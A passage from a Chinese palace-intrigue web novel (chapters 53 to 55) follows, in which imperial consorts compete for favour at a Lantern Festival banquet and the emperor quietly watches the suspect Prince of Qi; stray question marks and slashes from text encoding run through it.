柳美人眼底燥郁,被妙清哭得不耐烦,冷眼道:“我给你一条生路已经是天大的恩赐,一个奴才?,也配跟主子?纠缠不休!” 她失了耐性,招人进来,“来人,将 妙清拖出去,不许再进丽景轩!” 伺候在丽景轩宫人一阵唏嘘,数月前,人人羡慕妙清好福气,从下等的洒扫丫头被主子?看?中,一跃成为主子?身边的贴身大宫女?,结果谁能料想,数月过去,主子?便不明不白将妙清打发去了洒扫处,没?了贴身的宫人,下面小宫女?进来给柳美人梳头,都战战兢兢。 小宫女?手脚粗拙,扯得柳美人头皮发疼,她烦躁地?挥开笨手笨脚的宫人,没?好气道:“彩芸呢?让她进来!” 彩芸虽蠢,但眼下无人,也能勉强一用。妆镜中,女?子?面色微沉,眼底露出狠意,那个手炉她定要去查,她倒要知道,是谁在暗中害她! …… 明裳没?料想到,彩芸竟这么容易回了柳美人身边,月香憋笑低声,“主子?不知,柳美人竟还安排了人,去盯视妙清,可?怜妙清伺候柳美人这么久。” 槅窗外,宫人井然清扫院落,明裳托腮漫不经心地?听着?,膝间的绒毯不知何时滑落下来,辛柳跪下身,悉心为明裳整理好掉下的绒毯,月香正说得兴致勃勃,“主子?,奴婢有一计。” 明裳眸子?微抬,示意她继续说,月香憋不住话,立即低语出声,“柳美人既然疑心有人指使妙清,不如坐实?了这事。” 至于这背锅的人…… 有谁能比徐答应更合适。 月香学了些?玲珑心思,主仆几人说完,听见殿外传来动静,明裳向外望去,正瞧见全福海乘着?寒风而来。 全福海入了内殿,先福了礼,面含喜气道:“皇上传宓才?人前去乾坤宫伴驾。” 近些?日子?,皇上忙着?朝政,少进后宫,自那日徐答应侍寝后,便没?了动静,徐答应虽借着?杨贵嫔又见了一回皇上,却?是白献了殷勤,今儿忽然要传明裳,倒让她有些?无措,不过看?全福海喜上眉梢的神色,大抵也不是坏事。 如明裳所想,确实?不是什?么坏事,今儿忙完朝政,晚膳御膳房做了蒸牛乳,李怀修想起那女?子?喜吃牛乳羹,便遣了全福海传人过来。 顺湘苑到乾坤宫可?不算近,宫人正要伺候明裳更衣,全福海立即补了一句,“皇上吩咐奴才?备了轿撵,天寒地?冻,免得宓主子?冻坏了身子?。” 明裳眉梢一动,浅笑着?掩了掩唇角,“有劳全公公。” 坐上轿撵,不过半个时辰,就到了乾坤宫。 李怀修正坐在暖阁翻看?大理寺的卷宗,掀眼就见那女?子?裹着?披风,挥退宫人,袅袅婷婷地?走了进来。他转了转扳指,垂眸继续看?手中的宗文。 大理寺出了件棘手的案子?,事关皇廷宗室,大理寺卿不敢私自处置了,上奏到了他这。 食案晚膳上齐,宫人退出了暖阁,明裳挽起衣袖亲自布菜,她不动声色地?呈了碗羹汤,摆到李怀修手边,兀自站去了男人身后,素手柔柔搭到男人肩颈,假模假样地?揉捏了两下,嘟着?嘴不满抱怨,“皇上召嫔妾过来,莫不是就晾着?嫔妾干巴巴看?这晚膳的?” 处理这种事颇费心神,李怀修揉揉额角,合了卷宗,不轻不重地?斥了她一句:“朕是把?你宠得愈发无法无天了,处理政务都敢来打扰朕。” 虽是训斥,语气却?不见怒意。 明裳扭腰坐下,哼声道:“嫔妾才?不管什?么政务,到了用膳的时辰,皇上便该用膳。皇上的龙体,自然比那些?乱七八糟的政务重要。” 这女?子?总有哄他的本事,李怀修唇角轻勾,脸色却?始终淡淡,没?让她得意,顺手接了明裳递过来的羹汤,搅了搅调羹,慢条斯理地?喝了一口。 李怀修用膳少言,大多是明裳在说话,两人没?叫宫人伺候,明裳瞧见小碗中放着?的蒸牛乳,瞬间明白了今儿皇上怎么想起传她伴驾。 明裳美目闪烁,脸颊微红,晚膳用得甚是艰难。 李怀修却?是因大理寺的案子?,暂且没?戏谑这女?子?的心思,用了晚膳,吩咐宫人端水净手,李怀修没?那个让明裳回去的意思,明裳便也没?开口,与?李怀修一同进了乾坤宫。 宫人备好热茶,奉到御案上,明裳在一旁挽袖研磨,见还是那卷公文,不禁按呐不住好奇,但她仍旧谨记后宫不得干政,她再得宠,也是皇帝的妃嫔,当今处政手段远胜于先帝,父亲在前朝虽已经入皇上眼,然身为人臣,伴君如伴虎,处处要如履薄冰,谨慎小心,她万不能因一时好奇让皇上猜疑忌惮。 眼见过了亥时,汤泉备了汤水,两人沐浴后,明裳由宫人拭干了头发,换上衾衣,到寝殿安置。 明裳上了床榻,沐浴后,她柔柔伏到男人怀中,乌发堆云砌墨,映衬着?雪白的脸蛋,娇美的颜色如照水梨花,桃腮粉面,勾人心痒。 李怀修自诩也是一个清心寡欲的帝王,临幸后宫嫔妃不过是为了制衡朝政,作为疏解,延续血脉之用,偏生到了这女?子?这,做不到心如止水,坐怀不乱。 他今日就不该,想起这女?子?。 他忍了忍,还是认命地?放下了手中的理政要文。 明裳尚未意识到什?么,狐疑不解,仰起小脸,“皇上不继续看?了吗?” 李怀修捏了把?女?子?脸蛋的软肉,触感滑腻温软,他搓搓指尖,懒懒垂下眼睑,“不是好奇,朕今日看?的什?么卷宗?” 他看?那卷公文时,便注意到了旁边瞄来瞄去的视线,小猫似的,大抵是怕他不喜,后来没?敢再看?。 明裳不想男人竟这般敏锐,她心虚地?移开眼光,红唇一张一合,小声喏喏,“嫔妾不敢。” 不是没?有,而是不敢。 倒是诚实?。 李怀修这句话也有三分试探在其?中,见这女?子?确实?没?有恃宠而骄,扰他政务的心思,便也不觉有什?么,他翻过身,言简意赅,“朕的叔父强娶了朕侄子?的妾室。” 明裳睁大了眸子?,愕然无比,纤长的睫毛颤了两下,一张雪白的脸蛋很快羞得通红,红扑扑的,十分怜人。 “怎么不继续问了?” 这种皇室秘辛,明裳还能再问什?么。 她咬紧红唇,湿漉漉的眸子?瞪了男人一眼,觉得他是故意戏弄自己?。 “皇上还要嫔妾问什?么?” 皇室中,当今叔父是圣//祖爷在民间巡游的遗腹子?,成年后才?被认归皇室,因庸碌无能,不曾争权,封为齐王,由皇室供养,过得闲云野鹤,潇洒自在。当今侄子?是已故大皇子?的嫡子?,因大皇子?与?当今交好,故而其?子?也颇为忠心,早年就站队了成王。那齐王而今已年逾花甲,竟还惦记孙侄的妾室,倘若传扬出去,岂不令人耻笑。令明裳觉得怪异的是,这种说大不大说小不小的事,何故叫皇上费神。 李怀修自有考量,齐王若是庸碌,怎能在几回皇室夺嫡中得以全身,不惜坏了名?声也要相争孙侄的妾室,其?中定有其?他原因,他不做决断,也是在等,等一个契机。他御极两年,先是罢任旧党官吏,接着?又减免地?方税务,倘若再动皇室,动作太大,难免伤了大魏根本,有些?账,还是要慢慢去算,不必急于一时,他有那个耐心。 但那些?事都可?明日去想。 宫灯照着?晕红的光,女?子?仰面看?她,乌黑的发,雪白的面,嫣红的唇,交叠的衾衣中,是一片动人春色。 李怀修敛去思绪,屈指敲了下明裳的膝骨,眼底漆黑如墨,幽沉若谷。 “打开。” 第054章 第 54 章 徐答应近来得意气?焰渐消, 为得见圣驾,她从坤宁宫问安回来,便马不停蹄赶去凝霜殿, 恨不得整日?都待在凝霜殿里, 只盼见到?皇上?。皇上?忙于?前朝公?务,数日?才会得空看上?景和公?主一回。偏生在那次侍寝后, 皇上?待她的态度仍旧冷淡,也?只传过她去乾坤宫唱了两首曲儿,后来好似忘了她这个?人。徐答应心急, 几乎使尽了浑身解数,一来二去,没得皇上?深宠,倒是把杨贵嫔弄得厌烦,徐答应再几回去凝霜殿, 都吃了闭门羹, 云秀甚至直接不客气?地?开口, “主子身子不适,不便见答应,改日?皇上?来了想听答应唱曲, 主子自会遣人传话。” 这番话将徐答应盖着的遮羞布揭了干净, 徐答应脸色时青时白,自知理亏,身份地?位又不及杨贵嫔,日?后不知有多少地?方要仰仗杨贵嫔,她虽挂不住脸, 但也?不能将人得罪了,僵硬地?笑了两声, 便回了秋水榭。 直到?徐答应身影出了凝霜殿的殿门,云秀掀了珠帘,回内殿通禀。 杨贵嫔脸色淡淡地?听完,极低地?轻嗤了一声,“没用的东西。” 她翻过书卷的一页,眼睑垂着,心思却并不在书中,“本宫算是看错了,这后宫里,论起能得皇上?的宠爱,还真?没人比得过宓才人。” 云秀上?前换了衾被中的暖炉,听出主子话中的酸涩之意,明眼人都可见,自从宓才人初次侍寝后,不止是后宫嫔妃,就连新人中最得宠的主子也?被分去了许多宠爱。幸而主子很快怀了身子,有孕事遮掩,皇上?不召幸主子也?在情理之中。否则,倘若皇上?偏向于?宓才人,不知主子该有多伤心。 “奴婢觉得,宓才人娇媚爱俏,皇上?一时新鲜得趣也?在情理之中,待有了新人,说不准皇上?也?将宓才人忘了。” 世间男子,不都是如此么,云秀是杨府的家生奴,父亲迎娶母亲没多久,靠着在杨家的资历久,做了铺上?掌柜,没过半年,纳了铺里的打杂丫头?做小妾,她十岁那年,父亲又纳了两房妾室,一个?奴才,比主子还能贪得享受,母亲很快不得父亲喜欢,若非她跟了主子,此时必是被父亲送给?了哪个?大?户人家,早早聘出去。故而,云秀并未有多担心宓才人的圣宠会给?主子遭成?什么威胁,宓才人有宠无子,这是后宫女子最大?的忌讳。她唯一担忧,主子如她生母一般,将枕边人看得太重,结果劳累一生。不过主子清明,那位又是皇帝,中间隔了许多,日?子总要比母亲好过。 那位的心思谁说得准呢? 杨贵嫔扯了扯唇角,敛眸望向床榻里眼珠圆溜溜看着她的小娃娃,心中生出一个?念头?,又很快被压了下去,她温柔地?抱起女儿,轻声去哄,经有孕那段日?子,她如今长?了教训,皇上?能隔几日?来看她已是极好,倘若她再利用女儿争宠,只会落得阮嫔一般的下场。 …… 承明宫自从生下景和公?主就不见动静,愈发能沉得住气?。 皇后翻看礼策对账,神色漫不经心,“杨贵嫔倒底定了心性。” “本宫还记得她入宫时,虽有规矩,却并非真?正?的尊敬。” 这样的世家女,入了后宫,早晚有吃亏的一日?,因而,皇后从未多加告诫,就是等着她出错,杨贵嫔的性子让她险些小产,却也?让她长?了教训,磨练了心性。 皇后此时并不担心杨贵嫔,生下一个?公?主,能成?什么气?候,转了性子也?好,也?能制衡住圣眷正?浓的宓才人。 文竹候在一旁研磨,她望了眼娘娘的神色,不解娘娘话中的意思,杨贵嫔入宫时,性子高傲,即便待中宫的皇后娘娘也?不见几分恭敬。这样的性子,文竹跟在娘娘身边久了,也?知晓虽得皇上?喜欢,但在这宫中得罪了太多的人,不会长?久。她深谙此道,却是摸不清,娘娘待杨贵嫔又是怎样的态度。 过几日?就到?了上?元节,华灯溢彩,银月似盘,皇后闺阁之时,最喜的便是与家中姐妹一同?去上?元灯会,而今算来,也?过去十余年了。 皇后合了礼策,递给?文竹,“昨夜,皇上?是因何召了宓才人去乾坤宫?” 文竹接到?手中,有些怀疑打探来的消息,“奴婢听说是因御膳房的一碗蒸牛乳。” “蒸牛乳……”皇后扶了扶额头?,凝神思索,“本宫记得,前些日?子宓才人因吃多了牛乳羹,夜中传太医看诊。”她微微顿住,眼眸眯起,忽而轻笑了声,“皇上?竟是连宓才人这般小事都记得。” “倒底是六宫宠妃。” 文竹觑着皇后的脸色,没敢再语。 皇上?忙于?朝政,怕是六宫嫔妃都记不清,会记得宓才人因多食了牛乳羹而腹痛,可见宓才人有多受宠。 皇后脸色颇淡,倒是没在意这桩小事,前些日?子胡部使臣觐见惹皇上震怒,听闻也是与宓才人有关。御前的宫人口风紧,有些事不是皇后该打听的,她便缄默不知,既然皇上?都未对宓才人惩治,也?轮不到她这个皇后越俎代庖。 槅窗半开,飘进阵阵凉意,皇后手臂搭到案上,指腹轻轻揉捏眉心,“丽妃近日?身子病重,吩咐太医,该用的药便给丽妃用上,不必再来请示本宫。” 文竹心头?一惊,见娘娘神色有些疲惫,垂首应下,不敢多言。 丽妃娘娘病重,用药也?是理所应当。 便是在这时候,殿外伺候的宫人进来,袖中藏了一封信笺,“娘娘,陈宝林有信传进宫。” 皇后扫了眼,眉心拧起,轻嗤一声,“倒是个?有本事的。” 离了宫,还有手段往宫里送信。文竹也?有些惊诧,娘娘要陈宝林办事,从来都是经过内务府的人,陈宝林也?是懂事,没将娘娘供出来。 皇后没理会已经不中用的陈宝林,“不必拿给?本宫,阮嫔小产她瞒过了那么多人的眼睛,已是死罪,本宫再如何想救她,也?不过是回天乏术,由她自生自灭吧。” 那日?宴席宓才人中途离开,原本她是想借着杨贵嫔腹中打压宓才人,可惜一个?个?的都不中用。 …… 转眼到?了上?元节,今岁一切宴礼从简,上?元节也?只备了有六宫嫔妃和李氏宗室的席位。 明裳早早起身梳妆,今儿她仍旧穿了身素净却不失体面的礼服,梳了朝云髻,鬓边簪墨绿的宝石珠钗,虽看似清简,却皆是皇上?所赐,样样贵重,价值连城,六宫能这般拿得出手的,也?就只有高位嫔妃,倘若位份不高,能装扮如此,便只有靠皇上?垂怜宠爱。 明裳得宠将近一年,私库里不知得了多少好东西,想用也?用不完。这也?便是宠妃的好处了。 经上?回皇上?提起齐王强娶肃王妾室一事,明裳倒开始好奇,这庸碌的齐王究竟是存的什么心思,如今朝堂形式,他竟然也?敢与皇上?下面的臣子作对。 上?元宴设在建章宫东殿,明裳步行而去,刚出了殿门,就遇见也?要过去的柳美人。 柳美人自是没给?明裳好脸色,但才人的位份在美人之上?,柳美人就算心里有气?,也?得规规矩矩地?给?明裳做礼。 “宓才人如今今非昔比,只是别得意得太早,日?后如何,还未可知呢!” 明裳早摸透了柳美人的心性,空有自傲,仗着已故柳侧妃走到?今日?,却没那个?能走下去的脑子,已是强弩之末。她倒是不急着看柳美人的下场,这永和宫,没了柳美人,也?就少了些乐子。 她眉头?微微上?扬,完全不在意柳美人的冷嘲热讽,她故意道:“柳妹妹说的是,日?后姐姐是要小心才是。” “谁是你妹!”柳美人张口驳斥,气?得脸色铁青,若非她谨记着自己如今不比当初,这贱人又深得圣宠,眼下还动不得,她定要好好教训教训她。 明裳含着笑意,“才人位份居美人之上?,即便柳美人入宫早我?半年,依着宫里规矩,也?要称我?一声姐姐。”她缓缓放慢了话音,故意去看柳美人的脸色,“难道柳美人敢质疑宫里的规矩?” 柳美人能说什么,论起嘴皮子功夫,她确实比不得这女子。她嘴角抽了抽,皮笑肉不笑,“宓才人说的是,只是来日?方长?,宓才人莫要后悔,今日?所为。” 明裳微微一笑,眼底却冷淡如水,并无笑意,“那我?便擎等着柳美人的,来日?方长?。” 两人先后出了永和宫,随后,一道湘妃色的人影也?踏出了永和宫门,孟静瑶微抿唇,站在宫门在凝神沉思,她今日?穿着甚是明丽,丽妃身子愈发不好她甚至害怕丽妃也?许撑不过两月了,她初初进宫,都是依赖丽妃的庇护,倘若没了丽妃,她一人在这深宫中,终究有些胆怯。 方才她并未听多久宓才人与柳美人的说话,六宫中嫔妃人心不古,她进了宫更深有体悟,大?多嫔妃都是面和心不和,听闻宓才人最初住到?永和宫时,有数月未见圣驾,受了颇多柳美人的苦楚。柳美人的性子,在宫中树敌之多,大?抵自己都没意识到?危机之感。宫中传得纷纷扬扬柳美人毁了容貌,是谁最有可能算计了柳美人。 是与柳美人明面早就撕破脸,针锋相?对的徐答应,还是最得宠,又从不显山露水的宓才人。 寒凉的风拂过脸面,孟静瑶裹了裹外氅,只觉得浑身冷意,她忽想起,自己也?曾在御花园得罪过宓才人,倘若丽妃真?的病重,她日?后又该去倚靠谁。 …… 因在宫门耽搁了两刻钟,明裳赶到?建章宫,席面上?已坐了大?半的人,她位份低,倒也?不扎眼。张贵人有孕后便以身子不适为由,推拒了宫中的宴席,稍许,柳美人进来,不知安排座位的人有意无意,明裳下面一位就是柳美人。柳美人方才气?得不轻,此时连敷衍也?懒得敷衍,兀自坐下了身。 这番情形很快落到?了一人眼中。 姜嫔轻描淡写得敛下眸子,勾唇浅笑,柳美人这个?蠢货,得罪的人可是不少啊,到?了今日?,还看不清宫里的情形,怪不得沦落到?这般地?步。 今儿是上?元节,虽一切从简,布置宴席的人却花了心思,每张桌案上?都放了一盏精巧玲珑的花灯,形式各样,绘了各种栩栩如生的小物,颇为有趣。 帝后二人坐下席,上?元宴开始,皇后便含笑道:“臣妾要照顾宝珠公?主分身乏术,丽妃又卧榻重病,上?元节席面,幸亏有姜嫔帮衬臣妾。” 姜嫔徐徐起了身子,福礼推辞,“嫔妾不过是照着娘娘往年的筹备,犯水模山,描头?画角罢了,皇上?、娘娘不嫌弃,嫔妾就已甚是欢喜。” 皇后赞许道:“姜嫔过谦了。”她侧过脸看向上?位,“皇上?,姜嫔这回是花了心思,每张桌案的花灯都放了灯谜,也?为上?元宴添了些趣味。” 高位上?,李怀修指腹随意把玩手边的雕龙纹样的墨玉琉璃花灯,掀眼朝姜嫔看去,“你有心了。” 姜嫔柔柔地?垂低眉眼,“嫔妾多花些心思,能讨皇上?娘娘愉悦,是嫔妾幸事。” 上?元宴,姜嫔在御前出尽了风光,自然有人看不过眼,插话出声,“嫔妾觉得这宫灯甚为精巧。”徐答应起了身,含羞带怯地?朝上?位一望,“今儿上?元节,不如皇上?就用这灯谜,给?嫔妾们一个?彩头?。” 徐答应解禁后,虽有侍寝,但皇上?转头?就好似忘了她这个?人,全然不像待宓才人那般宠爱,徐答应怎能甘心。上?元宴,正?是一个?入皇上?眼的机会,她万不能失了这个?机会。 这番话,倒引了众人跃跃欲试,猜灯谜,何尝不是御前得眼的机会。 皇后敛去笑意,先朝徐答应看了一眼,不紧不慢地?饮了口茶水。 姜嫔却也?是没料想,徐答应会提这个?主意,她对此有些不满,毕竟今儿这上?元宴是她一手操办,她自是不愿,旁人抢了她的风光。 殿内静了一瞬,就在徐答应以为自己说错了话,笑得脸都要僵住时,李怀修才慢慢开口,“皇后以为如何?” 皇后放下茶水,微低下头?,柔声回道:“臣妾以为,徐答应的提议也?正?和了姜嫔的一番巧思。” 李怀修点了点头?,手指轻叩,招来全福海,“从朕私库中,将那辟寒犀取来,就做了上?元宴的彩头?。”他微顿了下,视线又移向皇亲一席,丹凤眼中微微眯起,坐姿随意,华贵慵懒,“尔等猜中灯谜,也?可得赏。” 辟寒犀是太///祖之时交趾国进贡的极奢之物,色黄如金,暖香袭人,传闻可驱邪祛寒,数百年才得一株,有市无价,皇上?竟拿此物做彩头?,众人皆是一惊,本无意猜谜的皇亲国戚,此时也?有些跃跃欲试。 徐答应彻底傻了眼,她不过是想皇上?想起自己,却没想皇上?竟拿出如此贵重之物做彩,她心中竟是莫名一慌,可话都说了出来,已是骑虎难下,唯有硬着头?皮过了上?元宴。 众人震惊之中,唯有明裳察觉出了异样,齐王强娶北郡王妾室一事,知到?的人甚少,毕竟是天家丑闻,也?要顾及皇室的颜面,那夜皇上?提起齐王一事让她记在了心里,因而便不觉留心,她微微抿唇,不动声色地?朝皇亲一席打量一眼,眸光微动,她总觉方才,皇上?虽是与皇亲言谈,看的人,却是坐在首位的齐王。 以齐王庸碌的才能,本不该坐首位,因先帝薨逝,皇室宗亲中年纪大?的王侯并未到?席,齐王年长?,自然而然坐到?了首位。 齐王生母是江南名伶歌姬,圣///祖爷当年微服出巡,遇刺时便遭这歌姬所救,可惜男子多情又薄情,圣///祖爷回京后,先料理了刺客,待想起那歌姬时,便寻江南不见这女子。十余年后,他二下江南,偶然再遇,那女子已病榻缠身,没多久撒手人寰,只留下十二岁大?的稚子,眉眼肖似圣///祖爷,圣///祖爷大?恸,迎稚子回京入宗室祖籍。圣///祖爷将对名伶的愧疚弥补到?齐王身上?,只可惜齐王庸碌无能,不成?气?候,倒也?恰恰因此,躲过夺嫡祸事,全然身退,至今还稳坐宗亲之位。 而今,齐王年逾五十,蓄长?须,姿容飘逸,仿似闲云野鹤的清雅之士,膝下有两子一女,常年不理俗事,在府中把玩书画,修身养性,又无幕僚兵司,任谁也?想不出,庸碌闲散的齐王会做出强娶北郡王妾室令人不耻之事。明裳进殿后,就注意到?了坐在上?位的齐王,旁人出入上?元宴,都是着绛紫、牙绯的明丽之色,独独齐王着青碧圆领长?袍,清瘦的身形仿似仙风道骨。旁人与他推杯换盏,他也?不推辞,风雅和煦,先是敬了皇上?一盏清酒,态度顺从,脊背躬得极低,不怪乎皇室两代夺嫡,都不会注意到?齐王身上?。反而是北郡王年轻气?盛,颇有少年意气?,知人知面不知心,明裳也?不敢轻易定论。 伶人入殿奏乐,宫人在席面一侧,也?仿旧古,做曲水流觞的雅趣,只是这曲水换作了琵琶弦乐,乐停,便由那人猜谜饮酒。 有此乐事,不仅是六宫嫔妃,入宴的皇室宗亲,也?不禁抚掌以待,兴致勃勃。 琵琶声初时缓缓,忽时一声紧似一声,嘈嘈切切,如珠玉落盘,接续丝丝缕缕,争鸣若鼓,乍时戛然而止,万籁俱寂,众人沉寂于?弦乐中,不觉那鼓引已到?了一人之手。 宫人上?前,金锤磕着花灯的边儿一敲,便拿出了里面卷好的灯谜,明裳本意是要看今日?的好戏,不想自己也?成?了戏中一人,她瘪了瘪红唇,不动声色地?朝高位的男人嗔去一眼,她可不愿意在人前出这般风头?。 旁人未注意到?这番情形,坐在明裳身边的柳美人却是看得清楚,她怎不知,什么时候宓才人与皇上?的关系竟如此亲近。她再抬眼去看,皇上?不知有没有察觉到?宓才人嗔恼的一眼,面色看不出什么异样,只是轻勾了一下唇角,转瞬即逝,大?抵除了柳美人,无人会注意到?这细微,柳美人气?恼地?攥紧手心,颇想见宓才人在大?庭广众之下出丑,她似是好奇,催促着问了一句,“宓才人的灯谜是什么?料想姜嫔做的灯谜的精巧,宓才人猜不出也?无妨。” 下面的徐答应笑着掩了掩唇角,颇有幸灾乐祸的意思,她虽与柳美人不对付,却也?她更看不惯深得皇上?宠幸的宓才人,在看宓才人出丑这事儿上?,她与柳美人难得不谋而合,有了默契。 明裳淡淡一笑,眼光不着痕迹地?扫了眼柳美人,柳美人触及到?女子的眼神,心头?一跳,眉心微拧了下,不知为何,她忽然有种不好的预感。 不等她再想,就见那女子已经移了视线。 女子双瞳剪水,素齿朱唇,秀靥比花娇,施施然福下一礼,软语轻言,“今儿嫔妾既然有幸第一个?解谜,不知嫔妾若破了这灯谜,皇上?可否赏亲身一个?头?彩?” “宓才人莫不是答不上?来了,才在此拖延。宓才人既然不知谜底,也?不必在此多言,免得到?最后猜不出,反而失的是自己的脸面。”柳美人最是看不惯宓才人好过,同?样住在永和宫,数月前,皇上?最宠幸的便是她,怎知宓才人是谁。若非宓才人设计狐媚皇上?,她也?不至于?落到?今日?,还要被一个?答应奚落。 徐答应难得帮柳美人说了句话,“是啊宓才人,既是答不出就不要勉强,老老实实认错,总要强过最后没了体面。” 明裳莞尔,眼眸如春水一般,“两位妹妹急什么,我?何时说过自己猜不出这灯谜。何况我?在与皇上?请旨,皇上?还未开口,两位妹妹是要越过皇上?吗?” 柳徐二人面色乍然一白,惊慌起了身,战战兢兢地?跪到?圣前,“皇上?明鉴,嫔妾并无此意!” 李怀修看得透彻,让二人起来,并未提责罚,柳美人回到?坐席,心口却砰跳不停,她蜷了蜷指尖,眼底露出一丝嫉恨。 这番争执,有谁看不出其中的意思,论起责罚,全凭上?位者的心思。她给?宓才人挖坑,宓才人又何尝不是施谋于?她,为何,只有她要向皇上?请罪,皇上?却始终对那女子的心机忽视不见。 李怀修并未在意柳徐二人,在他眼中,虽召幸过柳徐,但二人与六宫其他嫔妃并无不同?,他也?从未放在心上?。 李怀修指骨点着琉璃花灯的金龙,后背靠到?銮座上?,起了兴致,看向那女子,“想要朕给?你什么头?彩?” 明裳欠身,缓缓而语,“嫔妾幼年在宿阳之时,皇上?当年亲征疆北,护北地?六州,宿阳百姓无不敬仰感激。嫔妾想为宿阳百姓讨皇上?御笔,提书宿阳二字,一来扬我?国威,震慑蛮人,二来为宿阳百姓尊崇皇上?之心。” 殿内忽然静默,沉寂间,一道鹰隼般的视线在远处女子身上?游离打量了一瞬。 齐王垂下眼皮,又是一派仙风道骨。 明裳提的彩头?,自然不止于?此,曲水灯谜,显然是皇上?为齐王而备,她提议于?此,更是要齐王知晓,皇上?御极两载,大?魏民心归向,再有所备,也?无法撼动今日?局面。 虽是对齐王的警示,然明裳最主要的目的,还是得那位欢心。毕竟在这后宫里,嫔妃都是要争宠,谁争得过,全凭各自手段。 李怀修眉宇微扬,忽而朗声一笑,“朕准了。” “宓才人既有为国为民之心,朕还有赏。倘若你猜出了手中的灯谜,朕便下旨,册封你从三品贵人之位。” 明裳眸子陡然蹦出了亮光。 六宫嫔妃面色也?忽时各异,柳美人嘴角微垂,气?得脸都绿了,谁能想到?,宓才人假模假样为宿阳百姓请一道御笔,竟也?能让自己升了位份! 皇后微抿唇角,眸光轻掠了眼宗亲席位上?的齐王,齐王强娶北郡王妾室闹得动静并不大?,鲜少有人知晓,她于?前朝之事并不敏锐,只是从父亲信中,猜出几分皇上?待齐王有所忌惮。纵使她不解此事其中的隐情,也?隐隐约约中察觉,宓才人这番话正?是说给?齐王听。后宫不得干政,即便她是皇后,也?不敢插手皇上?前朝之事,皇上?难道曾与宓才人提过政务?皇上?的乾坤宫,也?只有留宓才人侍寝的次数最多。 皇后考量远胜于?别的嫔妃,她以前只以为皇上?宠爱宓才人,与从前的宠妃并无不同?,而今来看,倒是她小瞧了这女子。 明裳抽中的灯谜是打一字。 “画时圆,写时方,冬时短,夏时长?。” 宫女呈到?众人面前,此时已有人露出了然之色,而有人尚且不明所以,心中纳闷,猜测这是何字。 明裳掀起眼眸,美目横波,柔声道:“灯谜的谜底,正?是日?字。” 姜嫔适时起身,“宓才人聪慧,此灯谜正?是日?。” 有人这时才露出了然之色。 上?元宴继续,明裳注意到?,齐王展示自己的谜面时,姜嫔微微蹙起了眉,显然有什么不对劲儿的地?方。齐王的谜面是“南面而坐,北面而朝。象忧亦 忧,象喜亦喜。”明裳拧眉思索,齐王很快给?出了答案,“镜子。” 他略一思忖,往上?首銮座的帝王而望,不动声色地?捻了捻那张字条。 镜花水月…… 齐王答完灯谜,折低了腰身,恭敬地?敬过酒水,坐回席位。 到?暮晚,上?元宴散去,那株辟寒犀最终落入了一宗室亲王之手。那亲王态度随和自然,玩笑说要拿回去送与妻室,引得别的宗亲调笑打趣,皇室宗亲中,倒少见这般爱妻之人,那亲王也?不恼,反而以此自喜,引得命妇中不禁有人颇为艳羡。 到?了暮晚,今儿正?月十五,圣驾要歇在皇后宫中。 月如银盘,悬于?垂幕。 皇后拆了繁琐的发饰,沐浴后,挥退了宫人,走到?床榻边坐下,男人倚着身,正?垂眸把玩着拇指的玉戒,黑长?的眼睫如根根直立,遮挡住了眼底的眸色,叫人看不分明,夫妻十载,或许,皇后从未看得分明。 她含声,“皇上?既已决意册封宓才人贵人位份,臣妾想,宓才人进宫一年,无子封了贵人,难免伤了旧人的心。不如皇上?借此,提一提宫人旧人的位份,以昭示皇恩。” 旧人进宫已久,皇上?于?六宫位份鲜少上?心,皇后的顾虑并无不妥,她意思也?不止于?此,宓才人无子到?贵人位份,待她日?有孕,更不知凭借圣宠,是否要到?妃位。皇后身为六宫之主,既有责任主持六宫,也?不愿意见六宫有一人太盛。 她需要有人,牵制宓才人的圣宠,而如今来看,尚未有新人选秀,后宫里唯有两人能与宓才人相?较,唯有生了景和公?主的杨贵嫔,只是杨贵嫔近日?来的性子,好似愈发不得这位的喜爱。若非杨家尚有从龙的功绩,又诞下景和公?主,怕是早没了这般的底气?。杨家已经遭贬,杨贵嫔要是再不醒悟,怕是好日?子也?要到?了头?。 李怀修目光低垂,声线平静,“皇后是要为昔日?旧人讨一份皇恩,还是认为朕待宓才人的恩赐过重,已有失偏颇。” 皇后脸色微变,倏忽起身跪到?地?上?,“臣妾并无此意。” 李怀修慢慢抬眼,并没深究她话里的意思,“从王府出来的嫔妃跟了朕许久,加封也?无妨,只是不必将今日?殿中二人算在此内。” 殿中二人有谁,皇后心中很快清楚,便是针对于?宓才人的柳徐二人,徐答应是新进宫的人,本就不在此列,倒是柳美人,竟也?未借到?柳侧妃的情分。 她似有迟疑,温声请示:“还有一人,嫔妾不敢擅做决断。” 李怀修掀起眼皮。 皇后斟酌着,仍是开了口,“杨贵嫔诞下景和公?主,皇上?是否也?要一同?晋一晋位分。” 李怀修面色冷淡,“不必了。” “她如今的性子,尚担不得再高的位分。” 皇后神情微顿,稍许,垂眸应下声。 第055章 第 55 章 丽景轩 柳美?人?回寝殿后发?了好一通火, 殿内用的瓷盏茶具摔了大?半,满地狼籍,宫人?瑟瑟发?抖地跪在地上, 垂着脑袋, 不敢出声。 伺候柳美?人?久了的宫人?都知晓主?子因何事恼火,如今的丽景轩不复从前?, 顺湘苑的宓才人?颇得圣宠,风光正盛,而自家主?子去御前?几回, 竟也不见皇上一面,可见是愈发?落魄。宫人?心底哀凄,有心人?已经开始琢磨寻一个新的主?子,人?往高处走,水往低处流, 有宓才人?在, 跟着柳美?人?, 怕是再也出不了头了。 柳美?人?心口起?伏不平,攥紧了鬓边拆下的珠翠,越想越气, 反手掷到地上, “彩芸!” 殿内前?面跪着的女子,乍然一顿,那女子梳着寻常的宫人?发?髻,颊边却敷了厚重的脂粉,又?用挽起?的黑发?做掩, 远远看着与寻常人?无异,倘若走近了拨开掩盖的黑发?, 便?会骤然一惊。少?女原本细腻的嫉妒布了一道狰狞可怖的疤痕。 丽景轩中,最先?跟随柳美?人?入宫的婢女因玲珑貌美?,生了别的心思,柳美?人?发?觉后,便?是交给彩芸,不动声色地处理了。在这宫里,想要一个奴才消失,法子实在太多。 彩芸做了柳美?人?最亲近的大?宫女,仗着近身服侍主?子,常日便?欺压下面的宫人?,跋扈过人?。 彩芸知道,宓才人?未存好心,她也更痛恨柳美?人?对她召之即来挥之即去,她对柳美?人?忠心耿耿,柳美?人?说将她打发?,就将她打发?了,她脸上这道疤,刚落下的时候,她哭着去求柳美?人?请太医帮她诊治,柳美?人?却只是厌恶地看了一眼,叫她滚开,免得沾染了晦气。她在柳美?人?眼里,许是连狗都不如。更何况,顺湘苑的宓才人?得宠日盛,又?与柳美?人?不对付,柳美?人?在这宫里,也剩不下多少?好日子。 